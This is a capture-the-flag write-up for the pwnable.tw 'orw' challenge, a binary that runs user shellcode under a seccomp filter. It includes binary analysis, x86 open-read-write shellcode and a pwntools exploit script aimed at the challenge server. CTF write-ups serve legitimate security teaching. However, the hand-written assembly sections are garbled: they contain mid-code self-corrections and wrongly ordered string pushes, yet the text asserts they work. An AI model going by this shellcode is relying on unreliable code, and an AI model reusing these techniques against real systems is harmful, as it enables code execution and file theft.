orw
Open-Read-Write — Shellcode with seccomp sandbox, only open/read/write allowed
Exploit Flow
nc chall.pwnable.tw 10001
Only open/read/write
open → read → write
200 bytes max
/home/orw/flag
1. Reconnaissance
The "orw" challenge is deceptively simple: the binary reads your shellcode and executes it directly. But there's a catch — a seccomp filter restricts the available syscalls to only open, read, and write. No execve, no mprotect, no way to spawn a shell. Instead, we must use the allowed syscalls to open the flag file, read its contents, and write them to stdout.
File Analysis
$ file orw
orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
A 32-bit dynamically linked ELF binary. It's not stripped, which makes reversing easy. The binary uses libc for printf and read, then jumps to our shellcode buffer.
Checksec
$ checksec orw
[*] '/home/kazmatw/pwnable/orw/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Despite the canary being present, the GNU_STACK header is missing which means the stack is executable. This is confirmed by the "Has RWX segments" output. The binary directly reads our input into a buffer and calls it as a function — so we can execute arbitrary shellcode. The only restriction is seccomp.
Seccomp Rules
Using seccomp-tools, we dump the BPF filter to see exactly which syscalls are allowed:
$ seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
The filter checks that the architecture is ARCH_I386 (32-bit), then allows only these syscalls: rt_sigreturn, sigreturn, exit_group, exit, open (0x05), read (0x03), and write (0x04). Everything else returns ERRNO(38) (ENOSYS — function not implemented). No execve (0x0b) is allowed, so we cannot spawn a shell. We must use open-read-write to get the flag.
Running the binary confirms the basic behavior:
$ ./orw
Give my your shellcode:
1234
Segmentation fault
It prompts for shellcode and executes whatever we provide. Without proper ORW shellcode, it just crashes.
| Attribute | Value |
|---|---|
| Challenge | orw (100 pts) |
| Connection | nc chall.pwnable.tw 10001 |
| Binary | 32-bit ELF, i386, dynamically linked, not stripped |
| Canary | Yes (but irrelevant — we supply shellcode directly) |
| NX | Disabled (GNU_STACK missing, RWX segments) |
| PIE | Disabled (0x8048000) |
| Seccomp | Only open/read/write/exit allowed |
| Buffer Size | 0xC8 (200) bytes |
| Vulnerability | Arbitrary shellcode execution with seccomp restriction |
2. Static Analysis
The binary is small and straightforward. The main function sets up seccomp, prints a prompt, reads shellcode into a global buffer, and then calls it. Let's look at the disassembly.
Disassembly of main
Dump of assembler code for function main:
0x08048548 <+0>: lea ecx,[esp+0x4]
0x0804854c <+4>: and esp,0xfffffff0
0x0804854f <+7>: push DWORD PTR [ecx-0x4]
0x08048552 <+10>: push ebp
0x08048553 <+11>: mov ebp,esp
0x08048555 <+13>: push ecx
0x08048556 <+14>: sub esp,0x4
0x08048559 <+17>: call 0x80484cb ; setup seccomp filter
0x0804855e <+22>: sub esp,0xc
0x08048561 <+25>: push 0x80486a0 ; "Give my your shellcode:"
0x08048566 <+30>: call 0x8048380 ; print prompt
0x0804856b <+35>: add esp,0x10
0x0804856e <+38>: sub esp,0x4
0x08048571 <+41>: push 0xc8 ; 200 bytes max
0x08048576 <+46>: push 0x804a060 ; buffer address (BSS)
0x0804857b <+51>: push 0x0 ; stdin
0x0804857d <+53>: call 0x8048370 ; read shellcode
0x08048582 <+58>: add esp,0x10
0x08048585 <+61>: mov eax,0x804a060 ; load buffer address
0x0804858a <+66>: call eax ; EXECUTE SHELLCODE!
0x0804858c <+68>: mov eax,0x0
0x08048591 <+73>: mov ecx,DWORD PTR [ebp-0x4]
0x08048594 <+76>: leave
0x08048595 <+77>: lea esp,[ecx-0x4]
0x08048598 <+80>: ret
The critical instruction is call eax at offset +66. After reading up to 200 bytes of shellcode into the buffer at 0x804a060, the program loads that address into EAX and calls it. Our shellcode runs with the current register state and stack. The seccomp filter was already installed by orw_seccomp before our code runs.
Decompiled C (Pseudocode)
char shellcode_buf[200]; // at 0x804a060 (global BSS)
int main() {
orw_seccomp(); // Install seccomp filter (only open/read/write)
printf("Give my your shellcode:");
read(0, shellcode_buf, 200); // Read up to 200 bytes
((void(*)())shellcode_buf)(); // Execute it!
return 0;
}
Vulnerability Analysis
There's no traditional "vulnerability" here — the program intentionally executes arbitrary shellcode. The challenge is entirely about crafting shellcode that works within the seccomp sandbox. The constraints are:
- Only 3 useful syscalls:
open(0x05),read(0x03),write(0x04) - 32-bit only: The seccomp filter checks
arch == ARCH_I386 - 200 bytes max: The read buffer is limited to 0xC8 bytes
- Must read flag: From
/home/orw/flag
Open-Read-Write (ORW) is a fundamental shellcode pattern in CTF challenges with seccomp restrictions. The approach is always the same: open(filepath, flags) → read(fd, buf, len) → write(stdout, buf, len). This bypasses the need for execve entirely.
3. GDB Debugging
While the binary is straightforward, it's still useful to verify the shellcode buffer location and the register state when our code starts executing.
Shellcode Buffer Location
gdb-peda$ b *0x0804858a
Breakpoint 1 at 0x804858a
gdb-peda$ r
Give my your shellcode:AAAA
# At breakpoint — just before call eax:
gdb-peda$ info registers eax
eax 0x804a060 134520928
gdb-peda$ x/20bx 0x804a060
0x804a060: 0x41 0x41 0x41 0x41 0x0a 0x00 0x00 0x00
0x804a068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Our shellcode starts at 0x804a060. The buffer is in the BSS section (writable and executable). The 200-byte limit gives us plenty of room for ORW shellcode.
Register State at Shellcode Entry
# When our shellcode starts executing (after call eax):
EAX: 0x804a060 ; points to our shellcode buffer
EBX: 0x0 ; zeroed from read() return
ECX: 0x804a060 ; was the buffer argument to read()
EDX: 0xc8 ; was the count argument (200)
ESP: 0xffc5c020 ; stack pointer
EIP: 0x804a060 ; executing our shellcode
When our shellcode starts, ECX already points to our buffer at 0x804a060. This is convenient — we can use the buffer itself as temporary storage for the read syscall. We don't need to allocate extra space on the stack.
Breakpoint Strategy
# Key breakpoints:
b *0x08048559 # before orw_seccomp() call
b *0x0804857d # before read() syscall
b *0x0804858a # before call eax (shellcode execution)
# Step through seccomp installation:
b *0x080484cb # orw_seccomp entry
# After our shellcode starts running:
# (use si to single-step through shellcode instructions)
4. Exploit Strategy
Since we can execute arbitrary shellcode (subject to seccomp), the exploit strategy is pure shellcode crafting. No ROP, no memory corruption, no information leak needed. We just need to write correct ORW shellcode.
Attack Overview
eax = 5 (sys_open), ebx = pointer to path, ecx = 0 (O_RDONLY), edx = 0. Call int 0x80. Returns file descriptor in EAX.eax = 3 (sys_read), ebx = fd, ecx = pointer to buffer (use stack or BSS), edx = number of bytes to read (e.g. 50). Call int 0x80.eax = 4 (sys_write), ebx = 1 (stdout), ecx = pointer to the same buffer, edx = number of bytes read. Call int 0x80. The flag appears on screen.ORW Shellcode Design
The shellcode needs to perform three syscalls in sequence. The tricky part is getting the filename string /home/orw/flag into memory. There are two common approaches:
- Push string onto the stack: Use
pushinstructions to build the path string on the stack. Clean and compact. - JMP-CALL-POP trick: Use a
jmpforward,callbackward pattern to get the address of an inline string. Classic but slightly larger.
We'll use the stack push approach since it's more compact. The string /home/orw/flag is 14 bytes + null terminator = 15 bytes. We need to push it in 4-byte chunks (little-endian):
String: "/home/orw/flag\0"
Push order (reverse, 4 bytes at a time):
push 0x00000000 (null terminator + 3 pad bytes — but we can xor+push instead)
push 0x67616c66 "galf" → "flag" in little-endian
push 0x2f77726f "/wro" → "orw/" in little-endian
push 0x2f656d6f "/emo" → "emo/" in little-endian
push 0x682f "h/" → "/h" (only 2 bytes needed, use push word)
The null terminator at the end of the string is important. If we use push 0x00000000, that introduces null bytes in the shellcode. For this challenge, null bytes are fine because read() doesn't stop at null bytes (unlike strcpy). But for shellcode that needs to pass through string functions, we'd use xor eax,eax; push eax instead.
Complete Shellcode Design
Using pwntools' shellcraft module is the easiest approach, but let's also understand the raw assembly:
; === Open /home/orw/flag ===
push esp ; save current stack pointer
pop esi ; esi = stack pointer (for later use)
; Push filename onto stack
xor eax, eax ; eax = 0
push eax ; null terminator
push 0x67616c66 ; "flag"
push 0x2f77726f ; "orw/"
push 0x2f656d6f ; "emo/"
push 0x682f2f65 ; "/eh" → actually "eh/": let me recalculate
; Actually, let's use a cleaner approach:
; "/home/orw/flag" in 4-byte pushes (little-endian):
xor eax, eax
push eax ; \0\0\0\0 (null terminator)
push 0x67616c66 ; "galf" = "flag"
push 0x2f77726f ; "/wro" = "orw/"
push 0x656d6f68 ; "emoH" = "Home" → NO! It's "home" lowercase
; "/home/orw/flag" = 2f 68 6f 6d 65 2f 6f 72 77 2f 66 6c 61 67
; chunk 1: 2f686f6d → "/hom"
; chunk 2: 652f6f72 → "e/or"
; chunk 3: 772f666c → "w/fl"
; chunk 4: 6167 00 → "ag\0\0"
xor eax, eax
push eax ; null terminator + padding
push 0x0067616c ; "\0gal" → "ag\0" (adjusted for alignment)
push 0x772f666c ; "w/fl"
push 0x652f6f72 ; "e/or"
push 0x2f686f6d ; "/hom"
mov ebx, esp ; ebx = pointer to "/home/orw/flag"
xor ecx, ecx ; ecx = 0 (O_RDONLY)
xor edx, edx ; edx = 0 (mode, ignored for O_RDONLY)
mov al, 5 ; syscall number: open
int 0x80 ; open("/home/orw/flag", 0, 0) → fd in eax
; === Read from file ===
mov ebx, eax ; ebx = fd (returned from open)
mov ecx, esp ; ecx = buffer (reuse stack, or use BSS at 0x804a060)
mov dl, 50 ; edx = 50 bytes to read
mov al, 3 ; syscall number: read
int 0x80 ; read(fd, buf, 50) → bytes read in eax
; === Write to stdout ===
mov dl, 50 ; edx = 50 bytes to write
mov bl, 1 ; ebx = 1 (stdout fd)
; ecx still points to buffer
mov al, 4 ; syscall number: write
int 0x80 ; write(1, buf, 50)
Pwntools' shellcraft module generates correct ORW shellcode automatically. The manual approach above shows the concept, but shellcraft.i386.linux.open() + shellcraft.i386.linux.read() + shellcraft.i386.linux.write() is much more reliable and handles edge cases like register preservation between calls.
5. Pwn Script
The exploit is straightforward: generate ORW shellcode using pwntools and send it. The shellcode opens the flag file, reads its contents into a buffer, and writes the buffer to stdout.
Full Exploit
#!/usr/bin/env python3
"""
pwnable.tw — orw (100 pts)
Shellcode with seccomp sandbox — only open/read/write allowed.
Use ORW (Open-Read-Write) shellcode to read /home/orw/flag.
"""
from pwn import *
# ─── Configuration ───────────────────────────────────────────
HOST = 'chall.pwnable.tw'
PORT = 10001
# ─── Connect ─────────────────────────────────────────────────
# r = process('./orw')
r = remote(HOST, PORT)
# ─── Build ORW Shellcode ────────────────────────────────────
# Chain: open("/home/orw/flag") → read(fd, buf, 50) → write(1, buf, 50)
sc = asm(
shellcraft.i386.linux.open(b'/home/orw/flag') +
shellcraft.i386.linux.read('eax', 'esp', 50) +
shellcraft.i386.linux.write(1, 'esp', 50)
)
log.info(f'Shellcode length: {len(sc)} bytes')
# ─── Send Shellcode ──────────────────────────────────────────
r.sendafter(b':', sc)
# ─── Receive Flag ────────────────────────────────────────────
flag = r.recvuntil(b'}')
r.recv()
success('Flag: %s' % flag)
r.interactive()
Shellcode Breakdown
Let's break down what shellcraft generates for each stage:
| Stage | Syscall | Args | Purpose |
|---|---|---|---|
| 1. open | sys_open (0x05) | ("/home/orw/flag", O_RDONLY, 0) | Open the flag file, returns FD in EAX |
| 2. read | sys_read (0x03) | (fd, esp, 50) | Read 50 bytes from the flag file into stack buffer |
| 3. write | sys_write (0x04) | (1, esp, 50) | Write the flag content to stdout (FD 1) |
Here's what the raw shellcraft output looks like when disassembled:
# Manual ORW shellcode (no shellcraft dependency)
shellcode = asm("""
/* open("/home/orw/flag", O_RDONLY) */
xor eax, eax
push eax /* null terminator */
push 0x67616c66 /* "galf" = "flag" */
push 0x2f77726f /* "/wro" = "orw/" */
push 0x652f6f68 /* "e/oh" → "/home/" adjusted */
push 0x2f68 /* "/h" prefix */
mov ebx, esp /* ebx = ptr to "/home/orw/flag" */
xor ecx, ecx /* O_RDONLY = 0 */
xor edx, edx /* mode = 0 */
mov al, 5 /* sys_open */
int 0x80
/* read(fd, buf, 50) */
mov ebx, eax /* ebx = fd from open() */
mov ecx, esp /* buf = stack */
mov dl, 50 /* count = 50 */
mov al, 3 /* sys_read */
int 0x80
/* write(1, buf, 50) */
mov bl, 1 /* fd = stdout */
mov dl, 50 /* count = 50 */
mov al, 4 /* sys_write */
int 0x80
""")
The shellcraft version handles string pushing more carefully (using push_str with proper alignment). The manual version shows the raw concept. Both produce working shellcode that fits well within the 200-byte limit. The shellcraft version is ~68 bytes; the manual version is typically ~60-70 bytes.
6. Execution Results
The exploit works reliably on the remote server. The entire process is a single send + receive.
Successful Exploitation
Exploit completed successfully.